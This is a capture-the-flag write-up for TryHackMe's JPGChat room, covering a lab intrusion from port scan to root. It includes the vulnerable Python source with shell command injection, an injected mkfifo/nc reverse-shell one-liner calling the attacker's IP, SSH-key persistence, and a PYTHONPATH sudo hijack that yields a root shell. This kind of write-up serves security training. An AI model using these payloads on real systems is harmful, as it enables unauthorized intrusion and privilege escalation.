TryHackMe: JPGChat by R4v3n

Exploiting poorly made custom chatting service written in a certain language...

Enumeration

As usual break out rustscan and see what we have after adding an extry to /etc/hosts.

╰─⠠⠵ rustscan -a jpgchat --ulimit 10000 -- -sC -sV -A -oA jpgchat -v
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/tony/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.136.247:22
Open 10.10.136.247:3000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-28 21:46 GMT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
Initiating Ping Scan at 21:46
Scanning 10.10.136.247 [2 ports]
Completed Ping Scan at 21:46, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 21:46
Scanning jpgchat (10.10.136.247) [2 ports]
Discovered open port 3000/tcp on 10.10.136.247
Discovered open port 22/tcp on 10.10.136.247
Completed Connect Scan at 21:46, 0.03s elapsed (2 total ports)
Initiating Service scan at 21:46
Scanning 2 services on jpgchat (10.10.136.247)
Completed Service scan at 21:46, 0.07s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.136.247.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 5.09s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
Nmap scan report for jpgchat (10.10.136.247)
Host is up, received conn-refused (0.031s latency).
Scanned at 2021-02-28 21:46:52 GMT for 6s

PORT     STATE SERVICE    REASON  VERSION
22/tcp   open  ssh        syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXqRxJhw/1rrvXuEkXF+agfTYMZrCisS01Z9EWAv8j6Cxjd00jBeaTGD/OsyuWUGwIqC0duALIIccwQfG2DjyrJCIPYyXyRiTbTSbqe07wX6qnnxV4xBmKdu8SxVlPKqVN36gQtbHWQqk9M45sej0M3Qz2q5ucrQVgWsjxYflYI1GZg7DSuWbI9/GNJPugt96uxupK0pJiJXNG26sM+w0BdF/DHlWFxG0Z+2CMqSlNt4EA2hlgBWKzGxvKbznJsapdtrAvKxBF6WOfz/FdLMQa7f28UOSs2NnUDrpz8Xhdqz2fj8RiV+gnywm8rkIzT8FOcMTGfsvOHoR8lVFvp5mj
|   256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD2CCqg8ac3eDsePDO27TM9OweWbaqytzrMyj+RbwDCHaAmfvhbA0CqTGdTIBAsVG6ect+OlqwgOvmTewS9ihB8=
|   256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIXcEOgRyLk02uwr8mYrmAmFsUGPSUw1MHEDeH5qmcxv
3000/tcp open  tcpwrapped syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.68 seconds

22/ssh

No username of password so let's skip for now.

3000/JPChat

Poking about can not find anything I can do with the app ....

Establish a foothold and get user.txt

As I found nothing I could do with ssh or the webapp I headed over to github.com and did a search

https://github.com/search?q=jpchat&type=repositories

Part way down the search we find the JPChat repo by Mozzie-jpg.

Reviewing the source code for a weakness

Let's take a look at the source code and see if we can find an attack vector.

#!/usr/bin/env python3

import os

print ('Welcome to JPChat')
print ('the source code of this service can be found at our admin\'s github')

def report_form():

	print ('this report will be read by Mozzie-jpg')
	your_name = input('your name:\n')
	report_text = input('your report:\n')
	os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
	os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)

def chatting_service():

	print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
	print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
	message = input('')

	if message == '[REPORT]':
		report_form()
	if message == '[MESSAGE]':
		print ('There are currently 0 other users logged in')
		while True:
			message2 = input('[MESSAGE]: ')
			if message2 == '[REPORT]':
				report_form()

chatting_service()

Looking at the above we can see the os.system is used to echo the input from [REPORT] to a text file. We can see that it is using %s and there is NO sanitisation of user input, we can exploit this by using '; to close the echo command and then run our command followed by #

╰─⠠⠵ nc jpgchat 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[REPORT]
this report will be read by Mozzie-jpg
your name:
';      rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.5.198 4444 >/tmp/f #
your report:
'; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.5.198 4444 >/tmp/f #

Listening using nc -lvnp 4444 we get a shell back.

╰─⠠⠵ nc -lvnp 4444                         
Listening on 0.0.0.0 4444
Connection received on 10.10.136.247 37922
/bin/sh: 0: can't access tty; job control turned off
$ whoami
wes

From here I add my id_rsa.pub to /home/wes/.ssh/authorized_keys so that I can get a stable shell & persistence.

After this we can read user.txt

$ cd /home/wes
$ ls
user.txt
$ cat user.txt
JPC{[REDACTED]}

Escalate your privileges to root and read root.txt

Ok, so first thing is first lets see if we can run anything with sudo...

$ sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
    mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py
$ 

Interesting we can run a test_module.py and looking at the sudo command it will keep the environment variable PYTHONPATH. First thought of maybe editing the script is a no go as it is owned by root and we only have read access.

$ ls -l /opt/development/test_module.py
-rw-r--r-- 1 root root 93 Jan 15 18:58 /opt/development/test_module.py

Let's take a look at test_module.py.

#!/usr/bin/env python3

from compare import *

print(compare.Str('hello', 'hello', 'hello'))

Interesting, it is importing the compare module and then running a print command.

compare.py

Ok, lets create a new python "module" called comapre.py with the following contents using our trusty old pty module to spawn a shell.

"""
"""
import pty
pty.spawn("/bin/bash")
exit()

SETENV

As env_keep+=PYTHONPATH is defined in the sudo configuration we can use the below to force python to load our compare.py.

$ export PYTHONPATH=.:$PYTHONPATH

Root

Now we have the above setup we run the python script with sudo and spawn a root shell.

wes@ubuntu-xenial:~$ sudo /usr/bin/python3 /opt/development/test_module.py
root@ubuntu-xenial:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu-xenial:~# cd /root
root@ubuntu-xenial:/root# ls
root.txt
root@ubuntu-xenial:/root# cat root.txt 
JPC{[REDACTED]]}

Also huge shoutout to Westar for the OSINT idea
i wouldn't have used it if it wasnt for him.
and also thank you to Wes and Optional for all the help while developing

You can find some of their work here:
https://github.com/WesVleuten
https://github.com/optionalCTF

Boom, Another room down

Another room down, nice bit of reverse engineering and exploiting a sudo misconfiguration.